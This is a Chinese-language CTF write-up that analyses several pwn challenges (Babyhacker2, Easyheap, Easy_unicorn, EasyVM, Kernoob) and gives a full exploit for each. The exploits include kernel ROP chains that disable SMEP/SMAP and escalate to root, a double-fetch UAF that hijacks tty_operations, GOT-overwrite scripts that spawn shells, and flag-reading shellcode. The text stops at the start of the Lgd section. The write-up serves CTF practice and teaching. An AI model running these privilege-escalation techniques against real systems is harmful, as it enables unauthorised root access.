Babyhacker2

分析

首先我们看一下startvm.sh

图片无法显示,请联系作者

有时间限制,并且开启了kalsr,smep,smap的保护。即内核不能访问用户空间的数据和代码,这个保护可以通过修改cr4寄存器来关闭。我们看一下虚拟机本身

1
cpio -idmv < initramfs.cpio
图片无法显示,请联系作者

首先是加载了babyhacker.ko的驱动,这里驱动开启了canaryNX保护。接着将dmesg_restrict/kptr_restrict置为0意味着我们可以通过cat kallsyms查看commit_creds/prepare_kernel_cred两个函数的地址。通过commit_creds(prepare_kernel_cred(0))调用来实现提权。

漏洞出现在0x30000的操作处

图片无法显示,请联系作者

我们传入的rdx是一个signedint,因此我们可以通过输入负数来实现判断的绕过

图片无法显示,请联系作者

绕过判断之后就可以将di即后两个字节赋值给buffersize。由于读取和写入的操作是通过buffersize来控制的,因此我们可以实现栈内容的泄露和栈溢出覆盖返回地址ROP

利用

  • 修改buffersize的大小,泄露canary,rbp,ret的地址,实现内核基址的获取,绕过kalsr,canary
  • 修改buffersize的大小,将rop链写入到返回地址位置,关闭smep,smap,执行用户空间的提权代码提权,返回用户空间getshell

提权时采用的是ret2usr,即利用我们写好的函数进行提权操作。当执行两个内核空间的提权函数的时候,我们处于ring0级别,因此可以正常执行。但是要getshell需要返回用户空间去执行,这里利用到了swags,iretq来返回用户空间,但是在这之前需要我们保存CS, flags, esp 等信息,供iretq使用。

GDB调试

首先在qemu中lsmod找到babyhacker的加载基址0xffffffffc0000000,接着在gdb中执行

add-symbol-file babyhacker.ko 0xffffffffc0000000

b *0xffffffffc0000000+0x70

set architecture i386:x86-64:intel

target remote :1234 //getchar()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include<stdio.h>
#include<stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t commit_creds;
size_t prepare_kernel_cred;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
size_t p_rdi_r = 0xffffffff8109054d;
size_t mv_rc4_rdi_p_rbp_r = 0xffffffff81004d70;
size_t rop[0x1000];


void get_shell(){
system("/bin/sh");
}

void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"push %2\n"
"swapgs\n"
"push %0\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"iretq\n"
:
: "r" (user_ss), "r" (user_stack), "r" (user_rflags), "r" (user_cs), "r" (get_shell)
: "memory"
);
}

void save_state(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) : : "memory");
}


int main(int argc, char const *argv[])
{
save_state();
commit_creds = 0xffffffff810a1430;
prepare_kernel_cred = 0xffffffff810a1820;

int fd = open("/dev/babyhacker", O_RDONLY);
if(fd < 0){
printf("open error\n");
}
getchar();//此处开始调试

ioctl(fd, 0x30000, 0xf000ffff);
size_t buf[0x1000];
ioctl(fd, 0x30002, buf);

// int i = 0;
// for(i = 0; i< 0x50; i++){
// printf("%x--%zx\n", i, buf[i]);
// }

size_t canary = buf[40];
size_t orl_ebp = buf[41];
size_t ret_address = buf[42];
size_t offset = 0xffffffff81219218 - ret_address;
printf("canary: %p-- ret_address: %p -- offset: %d\n", canary, ret_address, offset);

commit_creds += offset;
prepare_kernel_cred += offset;
p_rdi_r += offset;
mv_rc4_rdi_p_rbp_r += offset;

printf("commit_creds : %p\nprepare_kernel_cred: %p\n", commit_creds, prepare_kernel_cred);
ioctl(fd, 0x30000, 0xf000ffff);

int index = 40;
rop[index++] = canary;
rop[index++] = orl_ebp;
rop[index++] = p_rdi_r;
rop[index++] = 0x6f0;
rop[index++] = mv_rc4_rdi_p_rbp_r;
rop[index++] = orl_ebp;
rop[index++] = getroot;
ioctl(fd, 0x30001, rop);
return 0;
}

Easyheap

分析

程序一共提供了三种功能分别是add,delete,edit。注意到在delete的时候已经将指针清空,最多同时存在三个指针,用户申请的内存的最大大小为0x400。但是在add的时候,判断用户大小的逻辑处出了问题

图片无法显示,请联系作者

注意到在判断逻辑之前指针已经被赋值到ptr中了,而当用户输入的大小大于0x400的时候并没有释放这一部分内存,清空这一部分的指针。

假如我们之前申请了两次0x50大小的堆块,并全部释放,此时fastbin中存在两个0x20大小的堆块。此时申请大于0x400的堆块的时候,ptr[0]中的指针会是最后一次释放的fastbin,并且fd指针指向下一个fastbinsize没有被清空的情况下,我们就可以通过edit控制下一个fastbin堆块内容。

0x10大小的堆块标识如下

1
2
3
4
typeof struct con{
char* content;
int length;
}

利用

  • 申请大小为0x40,0x50的堆块,并释放。此时申请0x500,0x20,0x50的堆块,堆布局如下

    图片无法显示,请联系作者

    此时我们修改ptr[0]使得ptr[1]content指向ptr[2],也就是将0x603000的最后一个字节覆写为0x30,这样edit ptr[0]就可以更改ptr[1]content为我们想要任意写的内存地址,此时edit ptr[1]就是向我们想要写的内存地址处写内容了。实现了任意写。

  • 通过edit ptr[1],ptr[2]实现的任意写将free.got改写为puts.plt,将ptr[2]content改写为想要泄露地址的函数的got地址,就可以泄露到的libc基址。

  • 通过edit ptr[0],ptr[1]实现的任意写将atoi的地址改写为system,输入/bin/sh进行getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# encoding=utf-8
from pwn import *

file_path = "./easyheap"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b*0x400B98\n")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(length, content):
p.sendlineafter("choice:\n", "1")
p.sendlineafter("this message?\n", str(length))
if length <= 0x400:
p.sendafter("the message?\n", content)


def delete(index):
p.sendlineafter("choice:\n", "2")
p.sendlineafter("to be deleted?\n", str(index))


def edit(index, content):
p.sendlineafter("choice:\n", "3")
p.sendlineafter("be modified?\n", str(index))
p.sendafter("the message?\n", content)


def message_exit():
p.sendlineafter("choice:\n", "4")


add(0x40, "0") # 0x20 0x50
add(0x50, "1") # 0x20 # 0x60

delete(0)
delete(1)

add(0x500, "12") # 0

add(0x20, "12") # 1
add(0x50, "12") # 2

padding = p64(0)+p64(0x21)
edit(0, padding + b"\x30")

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

delete(2)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym['atoi']
log.success("libc address: {}".format(hex(libc.address)))

edit(0, padding + p64(elf.got['atoi']))

edit(1, p64(libc.sym['system']))

p.sendlineafter("choice:\n", "/bin/sh")
p.interactive()

Easy_unicorn

unicorn

可以看这篇分析文章

Unicorn是一款基于qemu模拟器的模拟执行框架,支持Arm,Mips等多种指令集,为包含c++,python,java在内的多种语言提供了编程接口,其DLL可以被更多的语言调用。

Unicorn采用虚拟内存基址,通过uc_mem_map,uc_mem_read,uc_mem_writeapi来控制虚拟内存,map时需要与0x1000内存对齐。想要Unicorn模拟执行代码,则首先要将代码加载到虚拟内存中。

unicorn中存在hook机制,调用add_hook即可添加一个hookUnicornhook是链式的,也就是可以添加多个同类型的hookUnicorn会依次调用每一个handler。这里我们主要关注四种类型的hook

  • UC_HOOK_INTR,1<<0 中断
  • UC_HOOK_INSN,1<<1,系统调用和中断
  • UC_HOOK_CODE,1<<2,执行每一行代码时触发hook
  • UC_HOOK_MEM_READ,1<<10 内存写
  • UC_HOOK_MEM_WRITE,1<<11 内存读取

add_hook的函数原型如下

1
2
3
4
5
6
7
8
9
10
11
12
13
uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback,
void *user_data, uint64_t begin, uint64_t end, ...);
/*
uc: uc_open() 返回的句柄
hh: 注册hook得到的句柄
type: hook 类型
callback: hook的会回调函数
user_data: 用户自定义数据. 将被传递给回调函数的最后一个参数user_data
begin:hook作用范围的起始地址(包括)
end: 作用范围的结束地址,默认为所有代码,当begin > end时触发此hook类型时都会调用回调
...: 变量参数 (取决于 type)
return 成功则返回UC_ERR_OK , 否则返回 uc_err 枚举的其他错误类型
*/

Sandbox分析

我们知道unicorn是作为虚拟机类似的存在,其运行的主程序主要就是xctf_pwn了。题目中给出了其dump文件。首先我们看一下x86_sandbox

图片无法显示,请联系作者

我们看到程序首先是读取xctf_pwn.dmp中的二进制数据,如果程序设置了info参数的话,其会输出xctf_pwn中所有的段信息。这一个步相当于初始化了虚拟机x86_sandbox这个对象。(可以有多个虚拟机对象,各个对象互不干扰)

接着如果设置-debug参数的话,其会添加一个code_hook,我们看一下

图片无法显示,请联系作者

这里hook的类型为4,也就是UC_HOOK_CODE,那么每执行一条指令,其就会将RIP打印出来。接着是调用了Disable_file_RDWR

图片无法显示,请联系作者

其将sandbox对象中+0x28位置的值置为了0,这里会影响后面的函数。接着添加了systemhook,这个hook的类型是2也就是会hook所有的中断和系统调用。我们看一下具体的callback函数,其根据rax的数值判断当前调用的系统函数,这里我们关注一下rax=2也就是sys_open系统调用,这是程序调用了file_open这个函数

图片无法显示,请联系作者

由于之前将sandbox+0x28处设置为了0,因此并不能反会fd,但是文件已经打开了。完成system hook的添加之后,程序输出了所有的寄存器地址,然后启动了虚拟机

提取程序

我们可以利用info给出的信息提取。我们将0x400000开始到0x604000结束的内容提取出来,这就是程序的主要内容了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# encoding=utf-8
data = '''
| .gcc_except_table | 401e64 | f5c | 24 |
| debug001 | 7ffff783b000 | f88 | 4000 |
| .data | 603090 | 4fb8 | 10 |
| libc_2.23.so | 7ffff7475000 | 5008 | 1c0000 |
| .fini | 4015a4 | 1c5008 | 9 |
| .plt | 4009f0 | 1c5111 | 100 |
| .jcr | 602e00 | 1c5211 | 8 |
| ld_2.23.so1 | 7ffff7ffc000 | 1c5219 | 1000 |
| ld_2.23.so2 | 7ffff7ffd000 | 1c6219 | 1000 |
| LOAD | 400000 | 1c7239 | 9c8 |
| .init | 4009c8 | 1c7c01 | 1a |
| [stack] | 7ffffffde000 | 1c7c1b | 21000 |
| libstdc__.so.6.0.21 | 7ffff7a55000 | 1e8c2b | 172000 |
| LOAD2 | 400af8 | 35ac3b | 8 |
| .fini_array | 602df8 | 35ac43 | 8 |
| .prgend | 6031d8 | 35ac4b | 1 |
| libstdc__.so.6.0.212 | 7ffff7dc7000 | 35ac4c | a000 |
| libstdc__.so.6.0.213 | 7ffff7dd1000 | 364c4c | 2000 |
| .plt.got | 400af0 | 366c4c | 8 |
| libstdc__.so.6.0.211 | 7ffff7bc7000 | 366c54 | d000 |
| ld_2.23.so | 7ffff7dd7000 | 373c54 | 26000 |
| libgcc_s.so.1 | 7ffff783f000 | 399c54 | 16000 |
| libgcc_s.so.11 | 7ffff7a54000 | 3afc54 | 1000 |
| libm_2.23.so1 | 7ffff7274000 | 3b0c54 | 2000 |
| libm_2.23.so3 | 7ffff7474000 | 3b2c54 | 1000 |
| libm_2.23.so2 | 7ffff7473000 | 3b3c54 | 1000 |
| debug004 | 7ffff7ffe000 | 3b4c5c | 1000 |
| xctf_pwn | 401e88 | 3b5c74 | 178 |
| LOAD1 | 4009e2 | 3b5dec | e |
| LOAD3 | 4015a2 | 3b5dfa | 2 |
| LOAD5 | 4019a7 | 3b5e04 | 1 |
| LOAD4 | 4015ad | 3b5e05 | 3 |
| LOAD7 | 602e08 | 3b5e08 | 1f0 |
| LOAD6 | 401a84 | 3b5ff8 | 4 |
| [vdso] | 7ffff7ffa000 | 3b5ffc | 2000 |
| .text | 400b00 | 3b7ffc | aa2 |
| libc_2.23.so3 | 7ffff7839000 | 3b8b5e | 2000 |
| libc_2.23.so2 | 7ffff7835000 | 3bab5e | 4000 |
| libc_2.23.so1 | 7ffff7635000 | 3beb5e | 9000 |
| .rodata | 4015b0 | 3c7b5e | 3f7 |
| .got | 602ff8 | 3c7f55 | 8 |
| .got.plt | 603000 | 3c7f5d | 90 |
| .eh_frame_hdr | 4019a8 | 3c7fed | dc |
| .bss | 6030a0 | 3c80c9 | 138 |
| extern | 6031e0 | 3c8201 | 98 |
| libm_2.23.so | 7ffff716c000 | 3c8299 | 108000 |
| [vsyscall] | ffffffffff600000 | 4d0299 | 1000 |
| [heap] | 604000 | 4d1299 | 32000 |
| .init_array | 602df0 | 503299 | 8 |
| .eh_frame | 401a88 | 5032a1 | 3dc |
| debug003 | 7ffff7fe7000 | 50367d | 6000 |
| xctf_pwn3 | 603278 | 50967d | d88 |
| xctf_pwn1 | 602000 | 50a405 | df0 |
| xctf_pwn2 | 6031d9 | 50b1f5 | 7 |
| debug002 | 7ffff7dd3000 | 50b1fc | 4000 |
'''

data = data.split("\n")[1:-1]
seg = []
for i in data:
t = i.split("|")[1:-1]
t = [i.strip() for i in t]
t = [int(i, 16) for i in t[1:]] + t[:1]
seg.append(t)

seg.sort()

for i in seg:
print(hex(i[0]), i[1:])

f = open("recovery_pwn", "wb")
with open("xctf_pwn.dump", "rb") as fr:
for i in seg:
if i[0]>=0x604000:
continue
print("len of {} is {}".format(i[3], i[2]))
fr.seek(i[1])
f.write(fr.read(i[2]))
f.close()

也可以采用patch的形式,通过将读取内存写入文件的二进制代码写入eh_frame段,hook engine_start的调用至eh_frame段的函数就可以完成程序的dump

xctf_pwn分析

反编译提取出来的程序,我们通过string找到主程序

图片无法显示,请联系作者

我们主要关注的是cmp_pass这个函数,

图片无法显示,请联系作者

该函数将用户输入的pass转换为16进制,并与cpuid进行比较,若相同则调用v5[0]+1处的函数。否则就会将vtable的地址+1。而当用户输入的pass的总长度大于4且不正确时,程序就会推出。cpuid的产生位于print_cpuid函数中

图片无法显示,请联系作者

a1+0x18中存储着原始的cpuid数值,通过异或得到输出的machine-code。我们可以通过machine-code反向次序异或,得到原始的cpuid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.recvuntil("\x1B[1;31;5m ")
data = p.recvuntil(" ").strip()
print(data)
data_int_list = [int(i, 16) for i in data.split(b"-")]
data_bytes = b""
for i in data_int_list:
data_bytes += p32(i)
data_bytes_list = [i for i in data_bytes]
print(data_bytes)
print(data_bytes_list)
for i in range(0xe, -1, -1):
data_bytes_list[i]^=data_bytes_list[i+1]
pass_str = ""
for i in data_bytes_list:
pass_str += "%02x"%i
print(pass_str)

当我们输入正确的pass的时候,就会调用vtable+1的函数

图片无法显示,请联系作者

我们看一下该函数

图片无法显示,请联系作者

sandboxopen的系统调用已经被hook了,文件已经被打开,但是无法返回fd

图片无法显示,请联系作者

但是我们注意到401928位置即vtable+0x28处存在一个后门函数

图片无法显示,请联系作者

这里会执行用户输入的任意的shellcode。但是我们要想执行这个函数需要将vtable的地址+0x20才行,因此需要输入pass错误0x20次。也就是需要绕过总长度大于4的判断。我们注意到在readpass的时候如果用户输入的是\n,其并不会进入for循环,也就是count永远是0。这就绕过了判断。

接下来就是如何执行shellcode的问题了。orw操作中open操作文件已经打开只不过是fd没有返回。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# encoding=utf-8
from pwn import *

file_path = "./x86_sandbox"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


p.recvuntil("\x1B[1;31;5m ")
data = p.recvuntil(" ").strip()
print(data)
data_int_list = [int(i, 16) for i in data.split(b"-")]
data_bytes = b""
for i in data_int_list:
data_bytes += p32(i)
data_bytes_list = [i for i in data_bytes]
print(data_bytes)
print(data_bytes_list)
for i in range(0xe, -1, -1):
data_bytes_list[i]^=data_bytes_list[i+1]
pass_str = ""
for i in data_bytes_list:
pass_str += "%02x"%i
print(pass_str)

for i in range(0x20):
p.sendafter("your password << ", "\n")

p.sendlineafter("your password << ", pass_str)

shellcode = shellcraft.open("./flag.txt")
shellcode += shellcraft.read(3, "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)

p.recvuntil("data ptr:")
buf_address = int(p.recvline().strip(b"\n"), 16)
p.sendlineafter("data<<", asm(shellcode))
p.sendlineafter("invoke ptr<<", str(buf_address))
p.sendlineafter("arg0<<", str(buf_address))
p.sendlineafter("arg1<<", str(buf_address))
p.sendlineafter("arg2<<", str(buf_address))
p.interactive()

EasyVM

分析

程序提供了四种方法,其中最为重要的就是start的逻辑

图片无法显示,请联系作者

通过0x80我们可以将ptr[n]改写为任意四字节值,而配合0x540x53可以实现内存的任意读写。通过0x90x11的配合,我们可以泄露0x5655805c处的内容

图片无法显示,请联系作者

经过4之后,0x5655805c会被改写为一个elf的地址,这样我们就可以泄露出elf的加载基址,绕过ASLR。通过读取free_got即可以泄露libc基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# encoding=utf-8
from pwn import *

file_path = "./EasyVM"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b*0x56555F0A")
libc = ELF('/home/pwn/Desktop/glibc/x32/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(data):
p.sendlineafter(">>>", "1")
p.sendline(data)


def start():
p.sendlineafter(">>>", "2")


def recyle():
p.sendlineafter(">>>", "3")


def gift():
p.sendlineafter(">>>", "4")


def bo_exit():
p.sendlineafter(">>>", "5")


leak_elf_address_paylaod = "\x09\x11\x99"
gift()
add(leak_elf_address_paylaod)
start()
p.recvuntil("0x")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0x6c0
log.success("elf base address {}".format(hex(elf.address)))
free_got = elf.got['free']

free_address = b""
for i in range(4):
add(b"\x80"+chr(3).encode()+p32(free_got+i)+b"\x53\x99\x99")
start()
free_address += p.recvuntil("1.Produce", drop=True)[-1:]
free_address = u32(free_address)
libc.address = free_address - libc.sym['free']
log.success("libc address {}".format(hex(libc.address)))

system_address = libc.sym['system']
binsh_address = libc.search(b"/bin/sh\x00").__next__()
free_hook_address = libc.sym['__free_hook']
add(b"\x80"+chr(10).encode()+p32(binsh_address)+b"\x99")
start()
for i in range(4):
add(b"\x80"+chr(3).encode()+p32(free_hook_address+i)+b"\x54\x99\x99")
start()
p.send(p32(system_address)[i:i+1])

recyle()
p.interactive()

Kernoob

分析

首先看一下程序,程序只开启了堆栈不可执行保护,内核则只开启了smep保护。程序提供了四种方法add,show,edit,delete

图片无法显示,请联系作者

delete的时候没有对全局变量进行清空,因此存在UAF,而对用户空间的数据又是进行了两步操作,即先验证size的大小,然后根据size进行分配内存,存在double fetch

利用

double fetch 的利用见此

通过double fetch的竞争,可以在内核对size验证完毕之后将申请的内存更改为任意的大小。

kernel中存在一种tty_struct结构体,在打开tty设备的时候会创建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

这里我们主要关注的是第五个成员变量也就是tty_operations,该结构体中存在很多的函数指针(虚函数表),与fileops类似。在获得任意的内存分配权限之后,我们可以申请一个tty_operations结构体的大小并释放(这里大小的获取可以编译输出size的驱动,或者直接查找源码),在打开一个tty设备ptmx的时候之前释放的堆块就会被申请,因此我们可以通过UAF来控制打开的tty设备中的tty_operations结构体,劫持其中的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct input
{
size_t index;
char* buf;
size_t size;

};

void change_size(void* in){
struct input* cu_in = in;
while(has_changed == 0){
cu_in->size = 0x2e0;
}
}

int main(int argc, char const *argv[])
{
getchar();
save_state();
struct tty_operations fake_tty;
char buf[0x1000];
pthread_t t1;
int fd1 = open("/dev/noob", O_RDONLY);
struct input current_input;
current_input.index = 0;
current_input.buf = buf;
current_input.size = 0x0;

pthread_create(&t1, NULL, change_size, &current_input);

for (int i = 0; i < 0x100000; ++i)
{
ioctl(fd1, 0x30000, &current_input);
current_input.size = 0;
}
has_changed = 1;
pthread_join(t1, NULL);
图片无法显示,请联系作者

可以看到我们已经成功分配一个块大小为0x2e0的堆块,接下来释放该堆块并打开一个tty设备,占用这个堆块。堆块占用完成之后我们就可以劫持函数指针了。

提升权限的方法这里可以选择内核的ROP,利用xchg e?x , espgadget来迁移函数栈,由于tty_operations的函数调用的最后一条指令是call eax,因此这里选择xchg eax, esp。对tty_operations中指针的覆盖则是选择的ioctl函数。那么在调用ioctl函数的时候,raxxchg rax, rsp的地址,此时即将栈劫持到gadget地址上,主要到此时的gadget的地址的高8位是0

图片无法显示,请联系作者

我们需要在该地址中布置好rop chain,因此我们需要先在这个地址处mmap一段内存空间,接着将关闭smep,smap保护和提升权限获取shellrop链部署在该位置。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#include<stdio.h>
#include<stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <string.h>

struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */

/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};

size_t commit_creds = 0xffffffff810ad430;
size_t prepare_kernel_cred = 0xffffffff810ad7e0;
unsigned long long user_cs, user_ss, user_rflags;
unsigned long user_stack = 0;
int has_changed = 0;
size_t xchg_rax_rsp_r = 0xffffffff8101db17;
size_t p_rdi_r = 0xffffffff8107f460;
size_t mv_rc4_rdi_p_rbp_r = 0xffffffff8101f2f0;


void get_shell(){
system("/bin/sh");
}

void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"push %2\n"
"swapgs\n"
"push %0\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"iretq\n"
:
: "r" (user_ss), "r" (user_stack), "r" (user_rflags), "r" (user_cs), "r" (get_shell)
: "memory"
);
}

void save_state(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) : : "memory");
}

struct input
{
size_t index;
char* buf;
size_t size;

};

void change_size(void* in){
struct input* cu_in = in;
while(has_changed == 0){
cu_in->size = 0x2e0;
}
}

int main(int argc, char const *argv[])
{
save_state();
struct tty_operations fake_tty;
char buf[0x1000];
pthread_t t1;
int fd1 = open("/dev/noob", O_RDONLY);
struct input current_input;
current_input.index = 0;
current_input.buf = buf;
current_input.size = 0x0;

pthread_create(&t1, NULL, change_size, &current_input);

for (int i = 0; i < 0x100000; ++i)
{
ioctl(fd1, 0x30000, &current_input);
current_input.size = 0;
}
has_changed = 1;
pthread_join(t1, NULL);
getchar();

// free 0x2e0 chunk
printf("maybe freed 0x2e0 chunk\n");
ioctl(fd1, 0x30001, &current_input);

int fd2 = open("/dev/ptmx", O_RDONLY);
if(fd2 < 0){
printf("open ptmx error\n");
exit(0);
}
printf("open tty finished\n");
size_t fake_stack = xchg_rax_rsp_r & 0xffffffff;
printf("fake stack %lx---%lx\n", fake_stack, fake_stack&0xfffff000);
size_t rop_chain = mmap((void *)(fake_stack&0xfffff000), 0x1000, 7, 0x22, -1, 0);
if(!rop_chain){
printf("mmap error\n");
exit(0);
}
printf("mmap finished, %lx\n", rop_chain);
size_t rop[] = {
p_rdi_r,
0x6f0,
mv_rc4_rdi_p_rbp_r,
0,
getroot
};

memset(&fake_tty, 0, sizeof(struct tty_operations));
printf("memset finished\n");
fake_tty.ioctl = xchg_rax_rsp_r;
memcpy((void *)fake_stack, rop, sizeof(rop));
printf("rop memcpy finished\n");
size_t ori_tty[0x30/8] = {0};
current_input.buf = ori_tty;
current_input.size = 0x30;
printf("reading buf form kernel\n");
ioctl(fd1, 0x30003, &current_input);
ori_tty[3] = &fake_tty;

for(int i =0;i<(0x30/8);i++){
printf("%lx\n",ori_tty[i]);
}
getchar();
ioctl(fd1, 0x30002, &current_input);
ioctl(fd2, 0, 0);

return 0;
}
图片无法显示,请联系作者

Lgd

分析

程序提供了四种方法add,delete,show,edit。并且使用了prctl函数,不允许调用execve

图片无法显示,请联系作者

